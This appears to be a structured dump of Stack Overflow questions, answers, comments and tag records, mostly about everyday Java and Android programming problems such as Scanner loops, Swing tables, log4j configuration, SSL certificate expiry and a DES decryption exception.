tagged with: stack-overflow
tagged with: jvm

http://stackoverflow.com/comment/33928043
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22325461
has text: Thanks! How to check if it is the firewall problem. And if it is server internal error, how can i find that?? The server is gcm.googleapis.com

http://stackoverflow.com/comment/33914518
has text: @user39996 I don't know exactly this. I thinking this problem is real data is deleted, but mediastore is not changed or in other column check deleted such as Contacts.Group.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22318014
type: Comment

http://stackoverflow.com/comment/33930457
comment on: http://stackoverflow.com/q/22324195
score: 0
has text: What do you mean with 'coming up'? Do you mean after server (or VM) start up, does Oracle run on the same server?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33712006
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22199757
type: QuestionComment
has text: I've restored the [tag:swing] tag, as this a FAQ when migrating.

http://stackoverflow.com/q/22200166
tagged with: java
answer count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33701338
has comment: http://stackoverflow.com/comment/33701921
has answer: http://stackoverflow.com/a/22200278
type: Question
tagged with: android
has body: i want to draw a graph same like the image below. can any body suggest me how to draw this graph. i already use open chart time graph library but i cant't draw this type of graph. like: http://stackoverflow.com/questions/424752/any-good-graphing-packages-for-android/1856369 Blockquote My code:- public class ChartExample extends Activity { private GraphicalView mChart; RelativeLayout chartContainer; ModalDate modaldate; private String strDate, strWeight, strHight; Calendar calendar; Date date2; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); openChart(); } private void openChart() { SimpleDateFormat formatter = new SimpleDateFormat("dd MMM yyyy"); Date date; int doubleWeight, doubleHeight; // Creating TimeSeries for Visits TimeSeries visitsSeries = new TimeSeries("Visits"); // Creating TimeSeries for Views TimeSeries viewsSeries = new TimeSeries("Views"); /* * for (int i = 0; i &lt; DateList.getInstance().size(); i++) { ModalDate * modaldate = new ModalDate(); ModalEntries entries = new * ModalEntries(); strDate = modaldate.getDate().toString(); strHeight = * modaldate.getModalentries().get(i).getHeight(); strWeight = * modaldate.getModalentries().get(i).getHeight(); */ for (int i = 0; i &lt; DateList.getInstance().size(); i++) { strDate = DateList.getInstance().get(i).getDate(); strWeight = DateList.getInstance().get(i).getModalentries().get(i) .getHeight(); strHight = DateList.getInstance().get(i).getModalentries().get(i) .getWeight(); try { date = formatter.parse(strDate); calendar = new GregorianCalendar(); date2 = calendar.getTime(); doubleHeight = Integer.parseInt(strHight); doubleWeight = Integer.parseInt(strWeight); visitsSeries.add(date2, doubleHeight); viewsSeries.add(date2, doubleWeight); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } } // Creating a dataset to hold each series XYMultipleSeriesDataset dataset = new XYMultipleSerie…
has title: Draw Graph in android?
score: 0

http://stackoverflow.com/comment/33835569
has text: I have removed C++ from tags. Please answer specific to java
score: 0
comment on: http://stackoverflow.com/q/22274167
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22301059
answers question: http://stackoverflow.com/q/22300796
type: Answer
has comment: http://stackoverflow.com/comment/33884742
has comment: http://stackoverflow.com/comment/33883976
has comment: http://stackoverflow.com/comment/33884579
score: 0
has body: There are few ways of executing code in separate threads. You can read about this here I think that AsyncTask will do what you want. protected void onPreExecute () { // you can show some ProgressDialog indicating to the user that thread is working } protected Type doInBackground(String... args) { doWorkOnNewThread() // do your stuff here } protected void onPostExecute(Type result) { // here you can notify your activity that thread finished his job and dismiss ProgressDialog }

http://stackoverflow.com/a/22324010
has comment: http://stackoverflow.com/comment/106656836
has comment: http://stackoverflow.com/comment/111929578
answers question: http://stackoverflow.com/q/22253862
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/111420976
accepted answer of: http://stackoverflow.com/q/22253862
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/111430402
has comment: http://stackoverflow.com/comment/111928880
downvote count: 0
has comment: http://stackoverflow.com/comment/136413810
has body: If a certificate in the trust store expires, and is not replaces with an updated version with the same subject and key, it will be discarded for the purpose of building the certification path, so you'll get an javax.net.ssl.SSLHandshakeException (coming from "PKIX path building failed..."). If you look at the JSSE Reference Guide (trust manager section), it relies on the CertPath API (which implements what's needed to verify the date/time). The default PKIX trust manager implements RFC 3280, which requires all certificates in the chain to be valid at the current date/time. See section 6.1: The algorithm presented in this section validates the certificate with respect to the current date and time. and (d) for all x in {1, ..., n}, the certificate was valid at the time in question. If you want to bypass this, you can implement your own trust manager (although it's generally not recommended, since you'd weaken the default algorithm).
score: 4

http://stackoverflow.com/q/22244497
has body: Does Android Keeps History of Change in (View or Activity) same as any Log file! and Can we use that information occurring to our requirement? I want to set Some flags on the base of that information for future purpose in application!
tagged with: android
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33781839
type: Question
possible better answer: http://stackoverflow.com/a/22244636
has title: Does Android Keeps History of Changes in Views?
answer count: 2
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22244744
has answer: http://stackoverflow.com/a/22244636
accepted answer: http://stackoverflow.com/a/22244744

http://stackoverflow.com/comment/33840967
has text: You only want to encode the spaces?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22277066

http://stackoverflow.com/comment/33772981
comment on: http://stackoverflow.com/q/22239279
score: 0
type: Comment
type: QuestionComment
has text: Memory consumption increase does not necessarily mean memory leak...

http://stackoverflow.com/a/22190366
has comment: http://stackoverflow.com/comment/33684452
score: 3
answers question: http://stackoverflow.com/q/22190151
has body: Try this. $(document).ready(function() { $(document).on('click', 'input[type="radio"]', function() { if( $(this).prop('checked') ){ var text = $(this).parent().next(".importantColumnData").text(), tableText = '&lt;table id="newTable"&gt;&lt;tr&gt;&lt;td&gt;'+ text +'&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;'; $('#newTable').remove(); $('body').append(tableText); } }); }); Fiddle Demo
has comment: http://stackoverflow.com/comment/33684254
downvote count: 0
has comment: http://stackoverflow.com/comment/33684847
type: Answer
has comment: http://stackoverflow.com/comment/33685490
upvote count: 3

http://stackoverflow.com/comment/33805538
has text: BTW I seem to have picked up the kudos for rapt's answer (in the comment above). Perhaps rapt could make that an actual answer and you could accept that instead? (If you *can* change the excepted answer.)
type: Comment
comment on: http://stackoverflow.com/a/22233384
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33826615
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22269299
has text: So what else do you want your code to do? StackOverflow works much better if you ask a specific question.
score: 0

http://stackoverflow.com/a/22249876
answers question: http://stackoverflow.com/q/22249831
type: Answer
has body: You have to parse it into an enum first. Try this instead: test.setOwnerType(Test.OwnerType.valueOf(JSONUtil.getStringValue(obj, JSON_KEY))); Note that you can either do Enum.valueOf(YourEnum.class, stringValue) and YourEnum.valueOf(stringValue).
upvote count: 1
score: 1
downvote count: 0

http://stackoverflow.com/q/22326843
has title: Java DES decryption exception in first try
has comment: http://stackoverflow.com/comment/33934786
type: UnansweredQuestion
tagged with: encryption
tagged with: android
answer count: 0
score: 0
tagged with: java
type: Question
tagged with: des
tagged with: spongycastle
has comment: http://stackoverflow.com/comment/33929596
has body: In my project, secure communication is used between android client and server so all messages between them are encrypted as DES algorithm. I have used default Java Provider and also SpongyCastle but in first try of decryption, it gives the below exception. javax.crypto.IllegalBlockSizeException: last block incomplete in decryption at org.spongycastle.jcajce.provider.symmetric.util.BaseBlockCipher.engineDoFinal(BaseBlockCipher.java:815) at javax.crypto.Cipher.doFinal(Cipher.java:1111) Encoded String below SB1DbM9MbtFYY62OtDwkU4+CxlHi7wj9MQIPVMsoktVyPZDoi79V2Hx5pzjLgQvxXKJSLP7BpNYZg4hlbVGzkCE8x4LTmTbdQzwweMjlOGfTbZSNA+iL1sx0ctRYFIVLu7c0ZnsSnJ4Fq2tdL2XS3YQW3/MokoAlyFK6lhBf/4t+VpZ/cy+s9g== In the second try, it successfully decrypts String. I couldn't find the problem. Source Code that Encrypt and Decrypt private Cipher encryptCipher = null; private Cipher decryptCipher = null; static { Security.insertProviderAt(new org.spongycastle.jce.provider.BouncyCastleProvider(), 1); } public void initialize(SecretKey key) throws Exception { try { encryptCipher = Cipher.getInstance("DES/ECB/PKCS5Padding", "SC"); decryptCipher = Cipher.getInstance("DES/ECB/PKCS5Padding", "SC"); } catch (Exception e) { } encryptCipher.init(Cipher.ENCRYPT_MODE, key); decryptCipher.init(Cipher.DECRYPT_MODE, key); } public String encryptBase64(String unencryptedString) throws Exception { byte[] unencryptedByteArray = unencryptedString.getBytes("UTF-8"); byte[] encryptedBytes = encryptCipher.doFinal(unencryptedByteArray); return new String(Base64.encodeBase64(encryptedBytes), "UTF-8"); } public String decryptBase64(String encryptedString) throws Exception { try { byte[] unencryptedByteArray = decryptCipher.doFinal(Base64.decodeBase64(encryptedString.getBytes("UTF-8"))); String message = new String(unencryptedByteArray, "UTF-8"); return message; } catch (Exception e) { } return null; }

http://stackoverflow.com/a/22285797
has comment: http://stackoverflow.com/comment/33857535
upvote count: 3
has comment: http://stackoverflow.com/comment/33887353
has body: You can't benchmark absolutely anything with a blank window. And also 60 fps may be caused by VSync.
score: 3
has comment: http://stackoverflow.com/comment/33863959
answers question: http://stackoverflow.com/q/22285709
downvote count: 0
type: Answer

http://stackoverflow.com/q/22187161
tagged with: java
has comment: http://stackoverflow.com/comment/33678752
tagged with: eclipse
tagged with: classpath
type: Question
linked to: http://stackoverflow.com/q/15435221
has body: I'm getting errors like The archive: C:/Users/John/.m2/repository/junit/junit/4.8.1/junit-4.8.1.jar which is referenced by the classpath, does not exist. Prior to this error, I had the error missing hsqldb-2.0.0 in similar path, and added the jar. when running programs in a specific project. Other projects run fine. How to fix this?
has title: Corrupt classpath in eclipse
has comment: http://stackoverflow.com/comment/33678789
score: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33678729

http://stackoverflow.com/comment/33932347
score: 0
type: QuestionComment
has text: That `File.separator`s are one of the ugliest things I have seen, since it is "C:" why do you bother? edit: whoops, didn't read your question at all. You are trying to get rid of absolute paths. But still, "/" works Windows too
type: Comment
comment on: http://stackoverflow.com/q/22328133

http://stackoverflow.com/comment/33853955
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22283880
has text: let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/49357/discussion-between-aseem-bansal-and-jb-nizet)
score: 0

http://stackoverflow.com/a/22216601
has body: Try this import java.util.Scanner; public class MainClass { public static void main(String[] args) { Scanner scan = new Scanner(System.in); System.out.println("Enter x1 for point A"); double x1 = scan.nextDouble(); System.out.println("Enter y1 for point A"); double y1 = scan.nextDouble(); System.out.println("Enter x2 for point A"); double x2 = scan.nextDouble(); System.out.println("Enter y2 for point A"); double y2 = scan.nextDouble(); System.out.println("Enter x3 for point A"); double x3 = scan.nextDouble(); System.out.println("Enter y3 for point A"); double y3 = scan.nextDouble(); System.out.println("Set up a Triangle with coordinates " +"("+x1+","+y1+")"+ ","+ "("+x2+","+y2+")" +","+ "("+x3+","+y3+")"); Triangle triangle1 = new Triangle(x1,x2,y1,y2,x3,y3); System.out.println("Length of side c " + triangle1.getLengthC()); } } and import java.math.*; import java.util.Scanner; public class Triangle { private double A, B, C, D, h; public double x1, x2, x3, y1, y2, y3; public double lengthA, lengthB, lengthC; private double angleA, angleB, angleC; private double calcPerimeter, calcArea, getHeight; //Create new Triangle public Triangle(double x1,double x2,double y1,double y2,double x3, double y3){ this.x1=x1; this.y1=y1; this.x2=x2; this.y2=y2; this.x3=x3; this.y3=y3; } //to get length of a (AB) use A = (x1, y1) &amp; B = (x2,y2) public double getLengthC(){ double distance = Math.sqrt((Math.pow((x1-x2),2))+(Math.pow((y1-y2),2))); System.out.println(distance); return distance; } }
has comment: http://stackoverflow.com/comment/33731624
downvote count: 4
upvote count: 0
answers question: http://stackoverflow.com/q/22216545
type: Answer
has comment: http://stackoverflow.com/comment/33731392
score: -4

http://stackoverflow.com/a/22254304
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22253936
has body: A site from 2001 will not help you alot. Today PDE does not need much experience, its self-describing. Go "File"->"New"->"Others" Choose "Plug-in Development" -> "Plug-in Project" Enter a name, press Next,Next Choose the Template "Plug-in with a View" or "Plug-in with an editor" (what you prefer) Read and write.

http://stackoverflow.com/q/22188725
has answer: http://stackoverflow.com/a/22188731
accepted answer: http://stackoverflow.com/a/22188731
has title: Java Scanner Class - Unable to exit while loop
tagged with: break
tagged with: java.util.scanner
has body: I am trying to create a simple Scanner test program which will exit once the user inputs "Quit". I have the variable being output to console and it will output Quit but when I am trying to compare the variable to the raw string it doesn't see it as true. public static void main(String[] args) { String input; Scanner sc; System.out.println("Enter 'Quit' to exit."); while (true) { sc = new Scanner(System.in); input = sc.nextLine(); if (input == "Quit") { break; } System.out.println(input); } sc.close(); }
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22188757
tagged with: java
duplicate of: http://stackoverflow.com/q/513832
type: Question
answer count: 2
score: 0
tagged with: while-loop
has answer: http://stackoverflow.com/a/22188757
linked to: http://stackoverflow.com/q/513832

http://stackoverflow.com/comment/33673985
has text: Thank you for the answer and comments; from the blog post, it mentions that it is possible but it does it automatically only with Oracle database; otherwise an interface is needed to be implemented. Do you know somehow if Hibernate also has this functionality?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22174225

http://stackoverflow.com/comment/33777223
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22241842
has text: Nambi Narayanan --> Thank you very much.I will be try like that.
type: AnswerComment

http://stackoverflow.com/comment/36424352
comment on: http://stackoverflow.com/a/22308961
score: 1
has text: @wprl: That's true, but use of such a form could cause problems if code were ported into a language whose default comparison operator implements an equivalence relation [much more useful than IEEE behavior in data-processing contexts].
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33720586
type: QuestionComment
has text: What if you add a `WindowListener` (http://docs.oracle.com/javase/tutorial/uiswing/events/windowlistener.html) to `Window2` that calls a method on `Window1` when `Window2` closes. That method could set `ww` to null, which would force the `ActionListener` in `Window1` to create a new instance of `Window2` when the button is clicked. Let me know if this works, and I'll write it up properly, as an answer.
score: 1
comment on: http://stackoverflow.com/q/22210018
type: Comment

http://stackoverflow.com/a/22224634
has comment: http://stackoverflow.com/comment/33745876
score: 2
has comment: http://stackoverflow.com/comment/33745620
downvote count: 0
has comment: http://stackoverflow.com/comment/33746895
has comment: http://stackoverflow.com/comment/33747193
has comment: http://stackoverflow.com/comment/33745525
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/33745060
answers question: http://stackoverflow.com/q/22224438
has body: First, a word of warning: You will probably want to use @Inject only for the simple cases (usually that would be singletons). For everything else, autowiring works but it can get confusing very fast. That said, the rule for transient is simple: When you read the object (deserialize), do you still have everything you need to recreate the original state? If an object depends on the current request, the answer is probably no: At the time when the bean is read from the stream, the request will be long gone.

http://stackoverflow.com/comment/33673623
score: 0
comment on: http://stackoverflow.com/q/22181164
type: Comment
type: QuestionComment
has text: @NESPowerGlove I don't really mind where the lib resides as far as in the executable jar, or out, but I do want to expose the properties and images to my end user..

http://stackoverflow.com/a/22299184
score: 1
upvote count: 1
has body: You have to update the dialog content. I.e. set update=":nDetail" (id depends on where the dialog is placed) on the commandButton.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22296133

http://stackoverflow.com/comment/33901609
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/22308955
has text: You can have private constructors in your super class. However, if you extend that class you must have some kind of access to construct it. I have corrected the example code to demonstrate that point as well.

http://stackoverflow.com/comment/33974406
type: Comment
has text: The one weird thing is the way you're separating request scoped and session scoped objects. Is it possible for you to put the bean with the values in a session scoped object and call a method on the session scoped?
type: AnswerComment
comment on: http://stackoverflow.com/a/22288313
score: 0

http://stackoverflow.com/q/22286363
type: Question
tagged with: do-while
has answer: http://stackoverflow.com/a/22286391
tagged with: java
score: 0
has body: I have a simple Do While loop using the Scanner function that is not working properly. The code should display a text prompting user to enter a string,user enters string, and then the program displays the same text again and prompting user to enter another string. What the program is doing is it does display the correct message, user enters a string in, then it prompts user to enter a string without the text preceding the user input. After the user enters the text, it then works properly. Looking at my code, I cannot see any reason for the program to prompt the user twice for their input without showing them the Text. String userinput; Scanner sr = new Scanner(System.in); do{ System.out.println("Enter a string for character classification: (EOF to end):"); userinput = sr.nextLine(); }while(sr.hasNext()); } }
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22286391
type: AnsweredQuestion
tagged with: java.util.scanner
has title: Do While Loop using Scanner not properly working
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/22180580
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22180524
accepted answer of: http://stackoverflow.com/q/22180524
upvote count: 1
type: AcceptedAnswer
has body: It has also pom.xml present in the root directory. It means it uses Maven tool for building. You should find the jar file in the resulting target directory after running mvn install For skipping the test suite you can run mvn -DskipTests install However, according to javadocs this library allows you to add your own parsers at runtime too, so you don't actually need to build it.

http://stackoverflow.com/q/22197609
score: 1
tagged with: java
upvote count: 1
accepted answer: http://stackoverflow.com/a/22217930
type: Question
tagged with: apache-karaf
answer count: 1
downvote count: 0
tagged with: log4j
favorite count: 0
has answer: http://stackoverflow.com/a/22217930
has body: Im developing a maven-osgi bundle and deploying in karaf.. In that, a piece of code, should get .cfg files from the karaf/etc and im programatically changing them at runtime.. writeTrace() is invoked within 'for loop' from another class. So that I can create different files and corresponding logging should go in to that file. public void writeLog(int i,String HostName) { StringBuilder sb = new StringBuilder(); sb.append("\n HEADER : \n"); .... String str = sb.toString(); String logfile = ("/home/Dev/" + HostName + i); logger = LoggerFactory.getLogger("TracerLog"); updateLog4jConfiguration(logfile); logger.error(str + i);} public void updateLog4jConfiguration(String logFile) { Properties props = new Properties(); try { // InputStream configStream = getClass().getResourceAsStream( // "/home/Temp-files/NumberGenerator/src/main/java/log4j.properties"); InputStream configStream = new FileInputStream("etc/org.ops4j.pax.logging.cfg"); props.load(configStream); System.out.println(configStream); configStream.close(); } catch (IOException e) { System.out.println("Error: Cannot laod configuration file "); } props.setProperty("log4j.appender.Tracer.File", logFile); LogManager.resetConfiguration(); PropertyConfigurator.configure(props); } and I am able to see new files created with hostname such as (hostname_1 , hostname_2, etc..) but logging happens only at actual appender configured at karaf/etc... thaat is log.txt.. log4j.logger.TracerLog=TRACE,Tracer log4j.appender.Tracer=org.apache.log4j.RollingFileAppender log4j.appender.Tracer.MaxBackupIndex=10 log4j.appender.Tracer.MaxFileSize=500KB log4j.appender.Tracer.File=/home/Dev/log.txt I got struck in this error.. Dont know whether it has to do something with the karaf or problem with code..???
tagged with: maven
has title: changing log4j file name programatically in osgi maven bundle not working
type: AnsweredQuestion

amazon-web-services
tags question: http://stackoverflow.com/q/22261767
type: Tag
tag name: amazon-web-services
tags question: http://stackoverflow.com/q/22178415
tags question: http://stackoverflow.com/q/22298067
tags question: http://stackoverflow.com/q/22196091
tags question: http://stackoverflow.com/q/22203038
tags question: http://stackoverflow.com/q/22257517
tags question: http://stackoverflow.com/q/22320055
tags question: http://stackoverflow.com/q/22262763

http://stackoverflow.com/q/22318469
tagged with: java
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/22319246
tagged with: apache-tika
has answer: http://stackoverflow.com/a/22319246
accepted answer: http://stackoverflow.com/a/24905661
answer count: 2
has comment: http://stackoverflow.com/comment/33915905
downvote count: 0
linked to: http://stackoverflow.com/q/12231630
favorite count: 0
has title: Tika in server mode performance
has comment: http://stackoverflow.com/comment/33919581
has comment: http://stackoverflow.com/comment/33917098
has answer: http://stackoverflow.com/a/24905661
type: AnsweredQuestion
has body: I read over some articles that tika in server mode improves performance. Can someone explain how? Can we implement similar functionality within our java application for better performance? Running tika in server mode
score: 1

http://stackoverflow.com/comment/33777228
comment on: http://stackoverflow.com/a/22241817
has text: Whatever code you're using to create your frame - put that in the question and we'll take a look at it.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33682156
has text: @PersistenceContext CANNOT become STATIC.
comment on: http://stackoverflow.com/a/22184182
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33737389
comment on: http://stackoverflow.com/a/22199497
type: AnswerComment
has text: so please suggest what should i have to do.. and after using this approach for sending certficte to server getcert_eToken(null, eks).getEncoded() and in the servlet use CertificateFactory.getInstance("X.509").generateCertificate(inStream)
score: 0
type: Comment

http://stackoverflow.com/q/22211832
has body: I need to make my program read a file, then take the numbers in the string and sort them into an array. I can get my program to read the file and put it to a string, but that's where I'm stuck. All the numbers are on different lines in the file, but appear as one long number in the string. This is what I have so far: public static void main(String[] args) { String ipt1; Scanner fileInput; File inFile = new File("input1.dat"); try { fileInput = new Scanner(inFile); //Reads file contents while (fileInput.hasNext()) { ipt1 = fileInput.next(); System.out.print(ipt1); } fileInput.close(); } catch (FileNotFoundException e) { System.out.println(e); } }
tagged with: java
possible better answer: http://stackoverflow.com/a/22211893
answer count: 3
has comment: http://stackoverflow.com/comment/33723198
has answer: http://stackoverflow.com/a/22211893
has comment: http://stackoverflow.com/comment/33723224
tagged with: arrays
downvote count: 0
tagged with: string
has answer: http://stackoverflow.com/a/60515552
favorite count: 0
tagged with: filereader
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22211987
score: 1
tagged with: file
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22211987
has title: Take numbers from a file and sort them

http://stackoverflow.com/comment/33878699
has text: I feel the first one is good choice. Because array will have more complexity and from above example I feel there is no need of array,in any case.
comment on: http://stackoverflow.com/q/22298196
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33829720
has text: http://stackoverflow.com/questions/1412132/can-i-reference-another-property-in-a-properties-file-use-property
score: 0
comment on: http://stackoverflow.com/q/22271024
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33879611
type: QuestionComment
score: 1
has text: In addition to @Tarmo's comment, you can replace this `(dtm.getValueAt(row, col) == "") || (dtm.getValueAt(row, col) == " ")` by `dtm.getValueAt(row,col).toString().trim().isEmpty()`. It covers every case of empty string (non spaces, 1 space, 2 spaces, ..., n spaces).
comment on: http://stackoverflow.com/q/22296433
type: Comment

http://stackoverflow.com/comment/108122767
score: 0
type: Comment
comment on: http://stackoverflow.com/a/33383702
has text: maybe it is because of factors that get more value
type: AnswerComment

http://stackoverflow.com/comment/33768610
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22236349
has text: It gives me Nullpointer exception while sorting now..NullPointerException at Line 49(Arrays.sort(itArray);)...I kept as int i=0,count=100 and inside the loop itemArray[i] = new Item(code,sku,qty); count++;i++
score: 0

http://stackoverflow.com/q/22193804
score: 0
answer count: 1
has title: Error using Java API for Google geocoder
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22327047
tagged with: java
has body: I need to geocode address in Java but below code throws UnknownHostException. The link I referred is http://code.google.com/p/geocoder-java/ final Geocoder geocoder = new Geocoder(); GeocoderRequest geocoderRequest = new GeocoderRequestBuilder().setAddress("Paris,France").setLanguage("en").getGeocoderRequest(); GeocodeResponse geocoderResponse = geocoder.geocode(geocoderRequest); Mar 5, 2014 2:39:10 PM com.google.code.geocoder.Geocoder geocode SEVERE: maps.googleapis.com java.net.UnknownHostException: maps.googleapis.com at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:177) at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:366) at java.net.Socket.connect(Socket.java:529) at java.net.Socket.connect(Socket.java:478) at sun.net.NetworkClient.doConnect(NetworkClient.java:163) at sun.net.www.http.HttpClient.openServer(HttpClient.java:394) at sun.net.www.http.HttpClient.openServer(HttpClient.java:529) at sun.net.www.http.HttpClient.&lt;init&gt;(HttpClient.java:233) at sun.net.www.http.HttpClient.New(HttpClient.java:306) at sun.net.www.http.HttpClient.New(HttpClient.java:323) at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:860) at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:801) at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:726) at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1049) at java.net.URL.openStream(URL.java:1010) at com.google.code.geocoder.Geocoder.request(Geocoder.java:68) at com.google.code.geocoder.Geocoder.geocode(Geocoder.java:59) Also can I use this class without Google Maps?
type: Question
tagged with: google-geocoding-api
tagged with: geocode
tagged with: google-geocoder
accepted answer: http://stackoverflow.com/a/22327047

http://stackoverflow.com/q/22245133
answer count: 3
favorite count: 0
possible better answer: http://stackoverflow.com/a/22245311
has answer: http://stackoverflow.com/a/22245286
accepted answer: http://stackoverflow.com/a/22245286
tagged with: jtable
score: 0
linked to: http://stackoverflow.com/q/5665156
has comment: http://stackoverflow.com/comment/33783632
upvote count: 1
tagged with: swing
downvote count: 1
has answer: http://stackoverflow.com/a/22245311
type: AnsweredQuestion
has body: I'm having a problem with displaying a JTable in a JPanel. I'm having the user press a button and within this button the table should generate the table and put in an already existing panel, now when I tried to open it in a new JFrame the data shows perfectly but I want to show it in a JPanel. Code: files = c.RequestFile("list"); //gets the data of files Object[][] filesArray = new Object[files.size()][1]; int size = 0; for (FileInfo fileInfo : files) { filesArray[size][0] = fileInfo.getName(); size++; } fileTablePanel.setLayout(new BorderLayout()); fileTablePanel.add(new JScrollPane(createTable(filesArray)));
has answer: http://stackoverflow.com/a/22245295
has title: JTable not showing in JPanel
tagged with: java
tagged with: jpanel
type: Question

http://stackoverflow.com/comment/33694927
score: 0
type: AnswerComment
has text: Ravinder so how it can be corrected. Any help will be appreciated.
comment on: http://stackoverflow.com/a/22196700
type: Comment

http://stackoverflow.com/a/22318182
type: Answer
has comment: http://stackoverflow.com/comment/33914564
answers question: http://stackoverflow.com/q/22318123
upvote count: 1
score: 1
downvote count: 0
has body: Try String upper = friendName.toUpperCase(). Now the upper String has all the character in the uppercase.Use it according to your need. Refer String API

http://stackoverflow.com/a/22302711
answers question: http://stackoverflow.com/q/22302199
accepted answer of: http://stackoverflow.com/q/22302199
type: Answer
has body: I dont think you can make the FileFilter differentiate between "files/directories that should be displayed an can be accessed" and "files/directories that can be selected". A solution for your problem that comes to my mind is: Let the user search/select the smart.workspace file and then navigate from there to the parent folder. If you need the dialog to do exactly as you described above you will have to get involved in detail with the JFileChooser. Hopefully extending that class gives you enough access to change the behaviour as desired.
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/33826786
type: Comment
comment on: http://stackoverflow.com/q/22269271
type: QuestionComment
has text: @JBNizet I think Stradivari was a luthier rather than a musician. ;)
score: 0

null
tags question: http://stackoverflow.com/q/22200897
tag name: null
tags question: http://stackoverflow.com/q/22307024
tags question: http://stackoverflow.com/q/22238631
tags question: http://stackoverflow.com/q/22215957
type: Tag
tags question: http://stackoverflow.com/q/22326901
tags question: http://stackoverflow.com/q/22294830
tags question: http://stackoverflow.com/q/22270287
tags question: http://stackoverflow.com/q/22289755

http://stackoverflow.com/q/22293602
answer count: 2
tagged with: imageicon
has answer: http://stackoverflow.com/a/22293829
downvote count: 0
favorite count: 0
has title: How to use image slider in swing?
tagged with: jlist
tagged with: swing
has comment: http://stackoverflow.com/comment/33870670
has answer: http://stackoverflow.com/a/22294195
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22293829
tagged with: jslider
score: 1
tagged with: java
upvote count: 1
has body: Hi i am trying to use slide image using prev and next button button i am not able to this i did following code to achieve my output but when i run my program and try to slide image it shows image not available i. i am not getting why it is happening. i found this code from a website public class ImageSlider extends JPanel implements ActionListener { private static final int MAX = 20; private static final Font sans = new Font("SansSerif", Font.PLAIN, 16); private static final Border border = BorderFactory.createMatteBorder(4, 16, 4, 16, Color.lightGray); private List&lt;String&gt; list = new ArrayList&lt;String&gt;(MAX); private List&lt;ImageIcon&gt; cache = new ArrayList&lt;ImageIcon&gt;(MAX); private JLabel imageLabel = new JLabel(); private JButton prevButton = new JButton(); private JButton nextButton = new JButton(); private JComboBox favorites; public ImageSlider() { this.setLayout(new BorderLayout()); list.add("E:\\SOFTWARE\\TrainPIS\\res\\drawable\\yellow.png"); list.add("E:\\SOFTWARE\\TrainPIS\\res\\drawable\\a0.png"); list.add("E:\\SOFTWARE\\TrainPIS\\res\\drawable\\yellow.png"); list.add("E:\\SOFTWARE\\TrainPIS\\res\\drawable\\a0.png"); for (int i = 0; i &lt; list.size(); i++) cache.add(i, null); JLabel titleLabel = new JLabel(); titleLabel.setText("ImageSlider"); titleLabel.setHorizontalAlignment(JLabel.CENTER); titleLabel.setFont(new Font(Font.SANS_SERIF, Font.BOLD, 24)); titleLabel.setBorder(border); this.add(titleLabel, BorderLayout.NORTH); imageLabel.setIcon(getImage(0)); imageLabel.setHorizontalAlignment(JLabel.CENTER); imageLabel.setBorder(border); this.add(imageLabel, BorderLayout.CENTER); favorites = new JComboBox( list.toArray(new String[list.size()])); favorites.setActionCommand("favs"); favorites.addActionListener(this); prevButton.setText("\u22b2Prev"); prevButton.setFont(sans); prevButton.setActionCommand("prev"); prevButton.addActionListener(this); nextButton.setText("Next\u22b3"); nextButton.setFont(sans); nextButton.setActionCommand("next"…
possible better answer: http://stackoverflow.com/a/22294195
type: Question
has comment: http://stackoverflow.com/comment/33870707

http://stackoverflow.com/comment/33774491
type: Comment
has text: These really aren't NullPointerExceptions, though.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22240273

http://stackoverflow.com/comment/33790513
comment on: http://stackoverflow.com/q/22249560
score: 0
type: Comment
type: QuestionComment
has text: This is not right way to fetch data from server. Post your json data. Also set your adapter in onPostExecute() method.

